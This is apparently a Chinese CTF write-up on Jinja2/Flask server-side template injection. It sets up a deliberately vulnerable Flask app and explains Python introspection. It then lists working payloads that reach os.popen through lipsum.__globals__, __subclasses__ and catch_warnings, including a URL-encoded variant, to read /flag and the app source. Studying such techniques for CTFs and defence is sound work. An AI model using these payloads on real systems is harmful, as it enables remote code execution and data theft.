Werkzeug/1.0.1Python/3.8.7
基础 Python3
https://www.runoob.com/python3/python3-tutorial.html
推荐阅读
https://zhuanlan.zhihu.com/p/93746437 https://blog.csdn.net/u011377996/article/details/86776181
先本地试试水
这里搭建个简单 Flask 和 Jinja2
from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route('/')def index():search_str = request.args.get('s', '')return Template("Hey: {}<br>".format(search_str,)).render()if __name__ == "__main__":app.run('0.0.0.0')
常用的 Jinja2 定界符有
{% ... %}for Statements{{ ... }}for Expressions to print to the template output{# ... #}for Comments not included in the template output# ... ##for Line Statements
这里注意的是,模板渲染传入后,是有 Jinja2 环境的上下文信息的,
如传入 lipsum 可以得到一个生成器。
环境上下文通常包含的关键字有namespace、lipsum、range、dict、cycler、joiner
参考自
https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-global-functions
看了别人的还有,不过我这里没试出来,估计是其他 Jinja2 版本的url_for、g、request、session、get_flashed_messages、config等
其余可以看官方手册,list-of-global-functions 部分
Python 一切皆对象,所有对象都是集成自 type 元类
然后通过 SSTI 题的基本思路是利用 Python 的 魔术方法(内置方法)找到可利用函数
__dict__:保存类实例或对象实例的属性变量键值对字典__class__:返回调用的参数类型__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__:返回类型列表__subclasses__:返回type对象方法__init__:类的初始化方法__globals__:函数会以字典类型返回当前位置的全部全局变量
先通过环境上下文的对象获取全局变量。
fuzz 一下 namespace、lipsum、range、dict、cycler、joiner 这几个发现lipsum 利用比较方便,可以直接 lipsum.__globals__
依次找到可以执行命令 lipsum.__globals__.__builtins__.__import__('os')
{{lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

回到题目中
fuzz 一下得到输入控制点
找了下发现 flag 在根目录下
/?name={{lipsum.__globals__.__builtins__.__import__('os').popen('cat%20/flag').read()}}

来都来了,顺便嫖一下源码
/?name={{lipsum.__globals__.__builtins__.__import__(%27os%27).popen(%27cat%20app.py%27).read()}}
from flask import Flaskfrom flask import requestfrom flask import configfrom flask import render_template_stringapp = Flask(__name__)app.config['SECRET_KEY'] = "flag{SSTI_123456}"@app.route('/')def app_index():template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
其他解法
利用 os 进行命令执行
首先找到 os._wrap_close 的位置
[].__class__.__base__.__subclasses__().index(os._wrap_close)
这种方式不行,因为当前环境上下文中没有 os 模块,可以 burp fuzz一下,看看哪个包含 os
[].__class__.__base__.__subclasses__()[0]

也可以自动查找运行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
对上面进行 URL 编码(防止空格换行特殊字符破坏GET请求HTTP数据包),在通过 GET 请求参数传入即可
%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%20%20%7b%25%20%66%6f%72%20%62%20%69%6e%20%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%5f%5f%67%6c%6f%62%61%6c%73%5f%5f%2e%76%61%6c%75%65%73%28%29%20%25%7d%0a%20%20%7b%25%20%69%66%20%62%2e%5f%5f%63%6c%61%73%73%5f%5f%20%3d%3d%20%7b%7d%2e%5f%5f%63%6c%61%73%73%5f%5f%20%25%7d%0a%20%20%20%20%7b%25%20%69%66%20%27%65%76%61%6c%27%20%69%6e%20%62%2e%6b%65%79%73%28%29%20%25%7d%0a%20%20%20%20%20%20%7b%7b%20%62%5b%27%65%76%61%6c%27%5d%28%27%5f%5f%69%6d%70%6f%72%74%5f%5f%28%22%6f%73%22%29%2e%70%6f%70%65%6e%28%22%69%64%22%29%2e%72%65%61%64%28%29%27%29%20%7d%7d%0a%20%20%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%69%66%20%25%7d%0a%20%20%7b%25%20%65%6e%64%66%6f%72%20%25%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d

比如利用 132 找到的 os._wrap_close 对象执行命令
/?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

